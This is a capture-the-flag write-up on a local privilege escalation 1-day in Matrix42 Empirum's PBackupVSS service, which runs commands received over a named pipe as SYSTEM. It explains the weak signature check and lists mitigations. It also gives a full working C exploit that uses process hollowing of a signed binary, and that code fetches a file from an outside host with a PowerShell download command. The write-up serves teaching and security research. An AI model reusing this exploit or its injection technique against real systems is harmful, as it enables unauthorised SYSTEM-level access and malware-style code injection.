PRIVESC BACKUP

CSCG 2023 QUALIFIERS

Personal Backup? More like PrivEsc Backup! Use this 1-day with the "problem id" `PRB36820` in a real world product to escalate your privileges on the Windows system.

1 INTRODUCTION

In this challenge, we are targeting an outdated version of Matrix42's *Empirum* endpoint management software. From the release notes, we know that our goal is to achieve local privilege escalation via an otherwise undescribed vulnerability in the *PBackupVSS* component.

Unfortunately, we don't have access to more recent versions of the software, so we cannot compare the binaries to find the fix that was implemented, but we do have vulnerable copies of *PBackupVSS* (the vulnerable Windows service) and *PBackup* (presumably the client that controls the service).

Both programs are written in C++, so reverse engineering them deals a non-negligible amount of psychic damage.[1] Like all Windows services, *PBackupVSS* sets itself up using `CreateService`:

```
// This call is at 0x14000936c
SC_HANDLE hService = CreateServiceA(
    hSCManager,
    service->lpServiceName,
    service->lpDisplayName,
    SERVICE_ALL_ACCESS,
    service->isInteractive
        ? SERVICE_INTERACTIVE_PROCESS | SERVICE_WIN32_OWN_PROCESS
        : SERVICE_WIN32_OWN_PROCESS,
    dwStartType,
    SERVICE_ERROR_NORMAL,
    lpBinaryPathName,
    0,
    0,
    0,
    service->lpServiceAccount ? service->lpServiceAccount : ".\\LocalSystem",
    service->lpServiceAccount ? service->lpPassword : ""
);
```

The last two arguments to `CreateServiceA` mean that by default, the service runs at an incredibly high privilege level. Per the official documentation on the `.\LocalSystem` user:

> *It has extensive privileges on the local computer, and acts as the computer on the network. Its token includes the `NT AUTHORITY\SYSTEM` and `BUILTIN\Administrators` SIDs; these accounts have access to most system objects. [...] Most services do not need such a high privilege level.*

That sounds promising: `NT AUTHORITY\SYSTEM` is the closest thing Windows has to a `root` user, and running our code at that permission level lets us do (almost) anything we want.

2 VULNERABILITY

The actual vulnerability is a series of insufficient or incorrect "permissions checks" in a rather dubious feature that involves the *PBackupVSS* service executing arbitrary commands received via the `\\.\pipe\PBackupVSS` named pipe[2].

There are no access restrictions on who can connect to this pipe: Any logged-in user (via the "special identity group" `NT AUTHORITY\Authenticated Users`) is allowed to communicate with the pipe server, i.e. the *PBackupVSS* service.

[1] In particular, IDA needs a lot of convincing that not every function that involves exception handling is `noreturn`.

[2] Vulnerabilities involving incorrectly set up named pipes actually appear relatively often, and have been around essentially forever. For example, here is an article from 2002 that illustrates a few exploitation techniques. A more comprehensive (and more modern) guide can be found here. This is not particularly surprising: the API is complicated, and lots of state can be shared between client and server besides just data that passes along the pipe. Even Microsoft messes this up from time to time (see e.g. CVE-2022-21893 and CVE-2022-24533). But in our case, the pipe itself isn't really at fault.

We can see this by using the Sysinternals AccessChk utility:

```
PS C:\Users\User> .\accesschk.exe \pipe\PBackupVSS

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\Pipe\PBackupVSS
  RW NT AUTHORITY\Authenticated Users
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
```

This makes sense for a communication channel between the (generally unprivileged) *PBackup* and the privileged *PBackupVSS*. The service doesn't know which user will run the client, after all.

What the service does with the pipe, however, is not as easy to defend. Whenever a client connects to the pipe, it begins receiving commands and corresponding working directories. After a few (unfortunately lacking) security checks, the commands are executed[3].

There is quite a bit of boilerplate code spread across multiple functions, so here is a somewhat simplified overview of what *PBackupVSS* actually does with the commands that it receives:

```
char command[], workdir[];
while (ReadCommandFromPipe(&command, &workdir)) {
    if (mbsicmp(command, "exit") == 0)
        break;

    unsigned int dwSessionID = GetSessionId(dwPipeClientPid);
    bool bSigOK = CheckSignature(workdir, dwPipeClientPid, dwSessionID);
    HANDLE hSystem = GetProcessHandle("winlogon.exe", dwSessionID);
    if (hSystem) {
        HANDLE hToken = CloneSecurityToken(dwSessionID, hSystem);
        if (bSigOK) {
            CreateProcessAsUserA(
                hToken,
                "C:\\Windows\\System32\\cmd.exe",
                command, /* ... */,
                workdir, /* ... */
            );
        }
    }
    bool bSuccess = /* The process started successfully and finished with exit code 0 */;
    WriteToPipe(bSuccess ? L"Success" : L"NOSuccess");
}
```

Ultimately, `CreateProcessAsUserA` is used to run the command with the permissions of the user that runs `winlogon.exe` in the current session (i.e., `NT AUTHORITY\SYSTEM`). The `GetSessionId`, `GetProcessHandle`, and `CloneSecurityToken` functions are all there to support elevating the command's privileges, and don't perform any security checks[4].

The only hurdle to straightforward privilege escalation is the signature check. It grabs the path of the executable that connected to the named pipe using `K32GetModuleFileNameExA`[5], then uses `WinVerifyTrust` to check that the binary is signed with a valid Authenticode certificate.

[3]Each command is prefixed with `" /c "` at this point, because `cmd.exe` is used to run the command inside a shell. This isn't really important, but you might run into string escaping issues. Remember that `^` is the `cmd.exe` escape character.

[4]What I called `GetSessionId` is actually inlined into the rest of the code. It internally uses `WTSEnumerateSessionsA`, which requires RDP access to be enabled (though there doesn't need to be an active RDP session — a normal session will work just fine). We access the challenge machine through RDP, so this is already taken care of.

[5]There is a bug here too: `K32GetModuleFileNameExA` will silently truncate paths longer than the buffer provided, and *PBackupVSS* actually passes `MAX_PATH` (260) as the buffer length — which despite the name is not the maximum length of a Windows path. The limit can be disabled entirely using registry changes, but it can also be bypassed on the fly using literal device paths (prefixed with `\\?\`). Then, the signature check would be performed on a *different* binary from the one that is actually running. Fortunately, before `WinVerifyTrust` is called, the path is converted to wide characters using `mbstowcs_s`, also with a limit of 260 characters. Here, the limit is strictly enforced — if 260 characters *including the terminating null byte* are converted, MSVC's equivalent of `_FORTIFY_SOURCE` raises an error. Since truncation in `K32GetModuleFileNameExA` will always cause 260 bytes to be written to the buffer, this is not exploitable.

The error messages reveal exactly what is going on: First, the Authenticode signature must be valid, i.e. `WinVerifyTrust` must return `0`. Then, the code retrieves the certificate with which the binary was signed, and extracts the publisher information[6].

The checks against the publisher information succeed only if the program name recorded there (via the `programName` attribute) is one of `"EmpirumPro"`, `"Matrix42 Client Management"`, or `"Matrix42"`, and the publisher URL (`moreInfo`) is `"http://www.matrix42.de"`.

This is of course insufficient — just because the binary on disk is signed does not mean that the code that is running is actually trustworthy. While in general, Windows doesn't allow us to replace running binaries (so simply treating this as a time-of-check, time-of-use vulnerability like we could on Linux is out of the question), Windows does have APIs like `CreateRemoteThreadEx` that allow us to run our (untrusted) code inside of another process, even if the binary is signed.

3 EXPLOITATION

Microsoft actually has a good overview over techniques that are commonly used by malware to hijack other processes (generally to hide from antivirus software). One particularly popular (and easy) way to do this is *process hollowing*:

- First, create the victim process in a suspended state, e.g. using `CreateProcessW` with the `CREATE_SUSPENDED` flag.
- Then, you can simply replace the memory in the victim process. Unmap any conflicting sections using `NtUnmapViewOfSection`, allocate new code regions using `VirtualAllocEx`, and finally copy your own code using `WriteProcessMemory`.
- Update the victim's thread context to redirect the entrypoint to your own code (using `SetThreadContext` to update the `rcx` register at the loader's entrypoint), and you are done. You can now resume the victim process — it will appear to be running the module that you initially started, but actually contains your own code.

Conveniently, Windows ASLR is per-boot, rather than per-execution. This means that libraries are loaded at the same address in different processes. We can simply copy our already-relocated code from the current process rather than reimplementing PE relocation from scratch.

From the hollowed-out process, we then connect to the pipe using `CreateFileA`. Don't forget to set the pipe to message-passing mode (i.e., each write is treated separately, like `O_DIRECT` for Linux pipes and `SOCK_SEQPACKET` for sockets), otherwise this won't work. Finally, we can simply `WriteFile` our commands to the pipe.

Currently, my exploit (see Section 5) runs one command in `C:\` at a time, then disconnects from the pipe. Of course, we could run multiple commands in a single run, but that wasn't necessary to solve the challenge.

To get the flag, we first take a look around on the system. There's a local admin user (creatively named `localadmin`), so it's a reasonable guess that the flag might be somewhere in `C:\Users\localadmin`. Running `tree /F \Users\localadmin ^> 1.txt` recursively lists all files in that directory, and stores the output in `C:\1.txt` (as `NT AUTHORITY\SYSTEM`, we can create that file, and it will be world-readable by default).

We see there is a `C:\Users\localadmin\Desktop\flag.txt` and leak its contents with a second command: `type \Users\localadmin\Desktop\flag.txt ^> 2.txt`. This immediately gives us the flag:

```
C:\Users\LowPriv>.\exploit.exe \Users\localadmin\Desktop\flag.txt ^> 2.txt
Invoking type \Users\localadmin\Desktop\flag.txt > 2.txt via PBackup.exe
Target is at PID 5392
We are mapped at 7FF648370000 (+52000)
Victim will continue executing at 7FF648371C0A
Press any key to continue . . .

C:\Users\LowPriv>type \2.txt
CSCG{gz!btw_did_you_notice_the_c4sual_oob_read_in_the_n4med_pipe?}
```

[6]The details of this are somewhat poorly documented. *PBackupVSS* uses `CryptMsgGetParam` with `CMSG_SIGNER_INFO_PARAM` and `CryptDecodeObject` with the `SPC_SP_OPUS_INFO_OBJID` OID (`1.3.6.1.4.1.311.2.1.12`) to do this. The only official reference I could find about the Authenticode internals is from 2008, and only available in DOCX format. In any case, the intention is clear from the error messages.

4 MITIGATIONS

- **Run the service at a reduced permissions level.** Microsoft recommends not using `.\LocalSystem` if it can be avoided at all. If your service needs to perform privileged actions, it should use high permission levels only for those specific actions, not for running all possible commands that it may need to execute.
- **Don't run arbitrary commands from untrusted sources.** It seems unlikely that this level of flexibility is really needed here. Instead, introduce a proper communications protocol between service and client, and implement specific functionality for the actions that the service needs to perform. If that involves running a constructed command, make sure to avoid other command injection vulnerabilites — after all, most Windows process creation APIs (essentially all except for those taken from or inspired by POSIX) require proper escaping, since they internally split command line arguments.
- If you *really* need to run arbitrary commands specified by some userspace program, treat them all as potentially compromised. This means that at the very least, commands should run with as little privileges as possible, and some form of allowlisting should be used so that the commands that are executed are not fully arbitrary.
- **Enable Windows Defender.** Using other processes to "hide" code is a classic malware technique. Of course, this is not foolproof, but having to bypass detection mechanisms for which process hollowing and similar approaches are giant red flags would have made exploitation significantly harder.

5 CODE

There are just a few more gimmicks than what is explained in Section 3. First, we don't know where the `PBackup.exe` binary is on the server — but no worries, we can bring our own. If it's not in the current directory, we can use Powershell's `Invoke-WebRequest` (`iwr` for short) to download it. Second, the process hollowing is a touch more sophisticated than what is described above: Technically, multiple sections could overlap our target region, so I use `VirtualQueryEx` to find them all. This isn't strictly needed, but can be helpful.

Third, because I'm too lazy to set up Visual Studio, all of this is built using MinGW on Linux. Unfortunately, this means that some of the functions we use aren't actually defined, so we need to grab them at runtime using `LoadLibraryA` and `GetProcAddress`. This is what the `INDIRECT` macro in the code below is for.

I also have a bunch of sanity checks in here that are probably unnecessary: First, I verify the signature on the downloaded binary just in case something is off (though I don't do the publisher information check that *PBackupVSS* does). I also check for incomplete writes to the pipe (that probably never happen).

The actual process hollowing is in `wWinMain` (starting at line 165), with the payload that executes inside `PBackup.exe` and talks to the named pipe in `InvokeCommand` in line 105.

```
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <ntstatus.h>
#include <psapi.h>
#include <shellapi.h>
#include <softpub.h>

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern NTSTATUS WINAPI NtUnmapViewOfSection(HANDLE, LPCVOID);

#define die(...) do { \
    int _err = GetLastError(); \
    fprintf(stderr, __VA_ARGS__); \
    LPSTR _buf; \
    if (FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, _err, 0, (LPSTR) &_buf, 0, NULL)) { \
        fprintf(stderr, ": %X: %s\n", _err, _buf); \
        LocalFree(_buf); \
    } else { \
        fprintf(stderr, ": %X\n", _err); \
    } \
    exit(1); \
} while (0)
```

```c
#define log(fmt, ...) do { printf(fmt "\n", ##__VA_ARGS__); fflush(stdout); } while (0)
#define array_size(arr) (sizeof(arr) / sizeof((arr)[0]))

FARPROC LoadFunction(LPCSTR fn, LPCSTR lib)
{
    HMODULE module = LoadLibraryA(lib);
    if (module == NULL)
        die("Failed to load library %s", lib);
    return GetProcAddress(module, fn);
}
#define INDIRECT(fn, lib) ((typeof(&fn)) LoadFunction(#fn, lib))

#ifndef __MINGW32__
#define noreturn __declspec(noreturn)
#else
#define noreturn __attribute__((noreturn))
#endif

void CompleteWrite(HANDLE pipe, LPCVOID data, DWORD length, LPCSTR what)
{
    DWORD written = 0;
    if (!WriteFile(pipe, data, length, &written, NULL))
        die("Failed to write %s to pipe", what);
    if (written != length)
        die("Incomplete write (%d of %d bytes) of %s", written, length, what);
}

void SendString(HANDLE pipe, LPCWSTR string, LPCSTR what)
{
    CompleteWrite(pipe, string, 2 * wcslen(string), what);
}

void SendCommand(HANDLE pipe, LPCWSTR command)
{
    SendString(pipe, command, "command");
    SendString(pipe, L"C:\\", "working directory");
}

LPCWSTR GetSelfPath(void)
{
    // This is _exactly_ how it is done in the binary, just with another process handle
    char filename[260];
    DWORD length = K32GetModuleFileNameExA(GetCurrentProcess(), NULL, filename, sizeof(filename));
    log("Own path is %s", filename);

    // Convert to wide string for use elsewhere.
    static wchar_t widename[260];
    mbstowcs(widename, filename, sizeof(widename));
    return widename;
}

DWORD VerifyTrust(LPCWSTR path)
{
    GUID action = WINTRUST_ACTION_GENERIC_VERIFY_V2;
    WINTRUST_FILE_INFO file = {
        .cbStruct = sizeof(file),
        .pcwszFilePath = path,
        .hFile = NULL,
        .pgKnownSubject = NULL
    };
    WINTRUST_DATA data = {
        .cbStruct = sizeof(data),
        .pPolicyCallbackData = NULL,
        .pSIPClientData = NULL,
        .dwUIChoice = WTD_UI_NONE,
        .fdwRevocationChecks = WTD_REVOKE_NONE,
```

```
        .dwUnionChoice = WTD_CHOICE_FILE,
        .pFile = &file,
    };
    return INDIRECT(WinVerifyTrust, "Wintrust.dll")(NULL, &action, &data);
}

// This one must be signed _with a valid PBackup publisher_ - so reuse the PBackup.exe.
// Where is that on the target system? We need to deliver it manually.
#define TRUSTED_BINARY L"PBackup.exe"
#define DOWNLOAD_COMMAND L"powershell.exe -Command \"iwr -OutFile %s https://tcptcp.cc/PBackup.exe\""

static wchar_t Command[1024];

void noreturn InvokeCommand(void)
{
    LPCWSTR self = GetSelfPath();
    DWORD trust = VerifyTrust(self);
    if (trust != 0)
        die("We are not trusted: WinVerifyTrust returned %d for %S", trust, self);

    HANDLE pipe = CreateFileA(
        "\\\\.\\pipe\\PBackupVSS",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, // Don't impersonate the client (lesser priv.)
        NULL
    );
    if (pipe == INVALID_HANDLE_VALUE)
        die("Failed to open pipe");
    log("Opened pipe as handle %X", pipe);

    DWORD mode = PIPE_READMODE_MESSAGE | PIPE_WAIT;
    if (!SetNamedPipeHandleState(pipe, &mode, NULL, NULL))
        die("Failed to set pipe mode");

    SendCommand(pipe, Command);
    log("Sent command");

    char output[256];
    DWORD bytes;
    if (!ReadFile(pipe, &output, sizeof(output), &bytes, NULL))
        die("Failed to read response from pipe");
    output[bytes] = 0;
    log("Read %d bytes: %S", bytes, output);

    CloseHandle(pipe);
    exit(0);
}

int WINAPI wWinMain(HINSTANCE instance, HINSTANCE previous, PWSTR cmdline, int window)
{
    int argc = 0;
    LPWSTR *argv = CommandLineToArgvW(GetCommandLineW(), &argc);
    LPCWSTR command = argc <= 1 ? L"calc.exe" : wcsstr(GetCommandLineW(), argv[1]);
    if (!command)
        die("Failed to find command in command line");
    if (_snwprintf(Command, array_size(Command), L"\"%s\"", command) >= array_size(Command))
        die("Command is too long");

    if (INVALID_FILE_ATTRIBUTES == GetFileAttributesW(TRUSTED_BINARY)) {
        log("Binary not found, downloading");
        wchar_t download[1024];
        _snwprintf(download, array_size(download), DOWNLOAD_COMMAND, TRUSTED_BINARY);
        _wsystem(download);
```

```
    }

    DWORD trust = VerifyTrust(TRUSTED_BINARY);
    if (trust != 0)
        die("%S is not trusted: WinVerifyTrust returned %d", TRUSTED_BINARY, trust);
    log("Invoking %S via %S", command, TRUSTED_BINARY);

    // Create the victim process in a suspended state
    STARTUPINFOW si = {0};
    PROCESS_INFORMATION pi = {0};
    DWORD flags = CREATE_SUSPENDED;
    if (!CreateProcessW(TRUSTED_BINARY, NULL, NULL, NULL, TRUE, flags, NULL, NULL, &si, &pi))
        die("Failed to start hollowing target");
    HANDLE victim = pi.hProcess;
    HANDLE thread = pi.hThread;
    log("Target is at PID %d", pi.dwProcessId);

    // Force-load at the current base and copy everything over.
    // This is a little ugly but Windows ASLR means all the references should still work
    HMODULE module = GetModuleHandleW(NULL);
    if (!module)
        die("Failed to get own handle");
    MODULEINFO modinfo = {0};
    if (!GetModuleInformation(GetCurrentProcess(), module, &modinfo, sizeof(modinfo)))
        die("Failed to get own module information");

    LPVOID base = modinfo.lpBaseOfDll;
    SIZE_T size = modinfo.SizeOfImage;
    log("We are mapped at %llX (+%zX)", base, size);

    LPCSTR iterator = (LPCSTR) base;
    while (iterator < (LPCSTR) base + size) {
        MEMORY_BASIC_INFORMATION meminfo;
        if (!VirtualQueryEx(victim, iterator, &meminfo, sizeof(meminfo)))
            die("Failed to query for victim memory at %p", iterator);
        if (meminfo.State != MEM_FREE) {
            log("Unmapping victim memory at %llX", (SIZE_T) iterator);
            if (STATUS_SUCCESS != INDIRECT(NtUnmapViewOfSection, "ntdll.dll")(victim, iterator))
                die("Failed to unmap victim memory at %p", iterator);
        }
        iterator = (LPCSTR) meminfo.BaseAddress + meminfo.RegionSize;
    }

    if (!VirtualAllocEx(victim, base, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE))
        die("Failed to allocate victim memory at %p", base);

    if (!WriteProcessMemory(victim, base, base, size, NULL))
        die("Failed to write to victim memory");

    CONTEXT context;
    context.ContextFlags = CONTEXT_ALL;
    if (!GetThreadContext(thread, &context))
        die("Failed to get victim context");
    context.ContextFlags = CONTEXT_ALL;
    context.Rcx = (DWORD64) &InvokeCommand;
    if (!SetThreadContext(thread, &context))
        die("Failed to set victim context");
    log("Victim will continue executing at %llX", context.Rcx);

    ResumeThread(thread);

    system("pause"); // Not sure whether the WaitForSingleObject is actually sufficient, just wait.
    if (WAIT_FAILED == WaitForSingleObject(victim, INFINITE))
        die("Failed to wait for victim process");
    return 0;
}
```